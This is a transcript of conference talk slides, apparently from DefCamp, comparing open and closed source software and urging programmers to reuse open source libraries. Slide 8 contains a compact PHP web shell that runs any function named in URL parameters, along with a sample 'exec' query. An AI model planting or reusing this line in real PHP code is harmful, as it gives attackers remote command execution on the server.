The document compares open source and closed source software. It discusses factors like cost, service/support, innovation, usability, and security for each approach. While open source software is free with community support, closed source offers paid support and customization from trusted brands. The document concludes that the "best" programmers leverage existing open source code and libraries rather than reinventing the wheel, allowing them to innovate faster. Examples of popular open source projects are provided.

1. Polish the wheel
Andrei Avădănei
andrei@worldit.info
http://defcamp.ro

2. Open Source vs Closed Source

3. Open Source
● Open Source Software License
- distributed under a licensing agreement which allows the source code to be shared, viewed and modified
● Cost
- free
- requires a certain level of technical expertise in order to manage content
- providers are increasingly charging for addons, additional services and integration
- long term costs : implementation, innovation, service/support issues, infrastructure
● Service and Support
- online community network
● Innovation
- enables innovation by providing users with the freedom and flexibility to adapt the software to suit
● Usability
- lack of usability
● Security
- is often viewed as having security issues

4. Closed Source
● Closed Source Software License
- distributed under a licensing agreement to authorized users with private modification, copying and republishing
restrictions
● Cost
- vary from a few thousand to a few hundred thousand dollars
- user is paying for a more customized product from a trusted brand that includes higher levels of security and
functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower
requirement for technical skills.
● Service and Support
- service level and support structure requirements are taking precedent in favour of maximising uptime and
minimising downtime
● Innovation
- do not allow users to view or alter the source code
- innovation comes fully tested
● Usability
- employs expert usability testing
- detailed user manuals and guides are provided for faster trainings
● Security
- more secure because it is developed in a controlled environment by a concentrated team with a common
direction

5. Ok, now back to wheel!

6. A guy smarter than me said that
Good programmers are writing their own code
from scratch;
BUT
Best programmers are using code developed
by good programmers. >:)

7. Whose side are you?

8. <?=($_=@$_GET[2]).@$_($_GET[1])?>
● a lot of time wasted on creating modules that we could find already created
● wasted time that we could use in innovation
● most open source libraries have an API documentation + examples
● If you are a good programmer all the things you need to learn from Open
Source libraries will seem simple (simpler than making a pizza)
How to become the "best" programmer?
● Research
● Understanding APIs (libraries, CMSes and so on)
● Code (preferable no spaghetti code)
● Learn how to make a pizza faster!
?2=exec&1=help

9. Examples
● Wordpress, Joomla, Drupal for blog type projects
● Moodle for e-learning projects
● PHC, GCC, Open GTK for building and running apps
● Chromium for building your own browser
● Google Charts
● Frameworks (Django, Zend, Smarty, Rails etc)
● [...]

10. Why not?
You have the opportunity to change the world
easier than ever!

11. Questions?

12. Thanks!